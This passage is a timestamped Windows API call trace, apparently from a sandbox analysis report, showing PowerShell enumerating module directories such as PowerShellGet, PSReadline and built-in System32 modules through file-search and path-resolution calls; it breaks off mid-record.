[0145.209] FindNextFileW (in: hFindFile=0x1cbf29836f0, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.209] FindNextFileW (in: hFindFile=0x1cbf29836f0, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x918eb69b, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x918eb69b, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0145.210] FindNextFileW (in: hFindFile=0x1cbf29836f0, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0145.210] FindClose (in: hFindFile=0x1cbf29836f0 | out: hFindFile=0x1cbf29836f0) returned 1 [0145.210] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e160) returned 1 [0145.210] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e120) returned 1 [0145.210] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0145.210] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0145.210] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e200) returned 1 [0145.210] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x250580e2e0 | out: lpFileInformation=0x250580e2e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadf)) returned 1 [0145.213] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1c0) returned 1 [0145.213] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0145.213] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0145.213] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0145.213] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0145.213] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e240) returned 1 [0145.213] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x1cbdab154b0 | out: lpFileInformation=0x1cbdab154b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadf)) returned 1 [0145.213] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e200) returned 1 [0145.213] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psd1")) returned 0xffffffff [0145.213] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psm1")) returned 0xffffffff [0145.213] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.cdxml")) returned 0xffffffff [0145.214] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.xaml")) returned 0xffffffff [0145.214] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.ni.dll")) returned 0xffffffff [0145.214] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.dll")) returned 0xffffffff [0145.214] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e220) returned 1 [0145.214] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x36 [0145.214] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", nBufferLength=0x36, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", lpFilePart=0x0) returned 0x35 [0145.214] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\*", lpFindFileData=0x250580df40 | out: lpFindFileData=0x250580df40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cbf2983750 [0145.214] FindNextFileW (in: hFindFile=0x1cbf2983750, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.215] FindNextFileW (in: hFindFile=0x1cbf2983750, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb5477959, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfff2ff0e, ftLastWriteTime.dwHighDateTime=0x1d1a04a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.1", cAlternateFileName="")) returned 1 [0145.215] FindNextFileW (in: hFindFile=0x1cbf2983750, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x918eb69b, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x918eb69b, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.2", cAlternateFileName="")) returned 1 [0145.215] FindNextFileW (in: hFindFile=0x1cbf2983750, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0145.215] FindClose (in: hFindFile=0x1cbf2983750 | out: hFindFile=0x1cbf2983750) returned 1 [0145.215] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e160) returned 1 [0145.215] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e120) returned 1 [0145.215] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0145.215] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", nBufferLength=0x4a, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", lpFilePart=0x0) returned 0x49 [0145.215] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e200) returned 1 [0145.215] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\1.2\\psreadline.psd1"), fInfoLevelId=0x0, lpFileInformation=0x250580e2e0 | out: lpFileInformation=0x250580e2e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f6)) returned 1 [0145.216] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1c0) returned 1 [0145.216] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0145.216] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", nBufferLength=0x4a, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", lpFilePart=0x0) returned 0x49 [0145.216] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0145.216] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", nBufferLength=0x4a, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", lpFilePart=0x0) returned 0x49 [0145.217] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e240) returned 1 [0145.217] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\1.2\\psreadline.psd1"), fInfoLevelId=0x0, lpFileInformation=0x1cbdab17688 | out: lpFileInformation=0x1cbdab17688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f6)) returned 1 [0145.217] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e200) returned 1 [0145.217] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0145.217] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", nBufferLength=0x4a, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", lpFilePart=0x0) returned 0x49 [0145.217] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e200) returned 1 [0145.217] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\1.1\\psreadline.psd1"), fInfoLevelId=0x0, lpFileInformation=0x250580e2e0 | out: lpFileInformation=0x250580e2e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b93ba, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97199283, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97199283, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2e1)) returned 1 [0145.218] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1c0) returned 1 [0145.218] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0145.218] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", nBufferLength=0x4a, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", lpFilePart=0x0) returned 0x49 [0145.218] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0145.218] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", nBufferLength=0x4a, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", lpFilePart=0x0) returned 0x49 [0145.218] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e240) returned 1 [0145.218] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\1.1\\psreadline.psd1"), fInfoLevelId=0x0, lpFileInformation=0x1cbdab17968 | out: lpFileInformation=0x1cbdab17968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b93ba, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97199283, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97199283, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2e1)) returned 1 [0145.218] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e200) returned 1 [0145.218] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\PSReadline.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\psreadline.psd1")) returned 0xffffffff [0145.218] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\PSReadline.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\psreadline.psm1")) returned 0xffffffff [0145.219] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\PSReadline.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\psreadline.cdxml")) returned 0xffffffff [0145.219] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\PSReadline.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\psreadline.xaml")) returned 0xffffffff [0145.219] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\PSReadline.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\psreadline.ni.dll")) returned 0xffffffff [0145.219] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\PSReadline.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\psreadline.dll")) returned 0xffffffff [0145.221] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules")) returned 0x10 [0145.224] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e220) returned 1 [0145.224] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0145.224] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules", nBufferLength=0x33, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules", lpFilePart=0x0) returned 0x32 [0145.224] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\*", lpFindFileData=0x250580df40 | out: lpFindFileData=0x250580df40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x5323bacf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x5323bacf, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cbf2982850 [0145.224] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x5323bacf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x5323bacf, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.225] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfbe3ca03, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e807470, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppBackgroundTask", cAlternateFileName="APPBAC~1")) returned 1 [0145.225] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xfbe3d0e2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe86a9bef, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppLocker", cAlternateFileName="APPLOC~1")) returned 1 [0145.225] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x9767faf7, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9767faf7, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppvClient", cAlternateFileName="APPVCL~1")) returned 1 [0145.225] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9767faf7, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9767faf7, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Appx", cAlternateFileName="")) returned 1 [0145.225] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x9767faf7, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9767faf7, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssignedAccess", cAlternateFileName="ASSIGN~1")) returned 1 [0145.225] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9767faf7, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9767faf7, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BitLocker", cAlternateFileName="BITLOC~1")) returned 1 [0145.225] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfbff18fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e807470, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BitsTransfer", cAlternateFileName="BITSTR~1")) returned 1 [0145.226] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xfbff1c72, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe86cfe48, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BranchCache", cAlternateFileName="BRANCH~1")) returned 1 [0145.226] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfbff21c2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e807470, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CimCmdlets", cAlternateFileName="CIMCMD~1")) returned 1 [0145.226] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x9767faf7, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9767faf7, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConfigCI", cAlternateFileName="")) returned 1 [0145.226] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfbff380e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e82d6c7, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Defender", 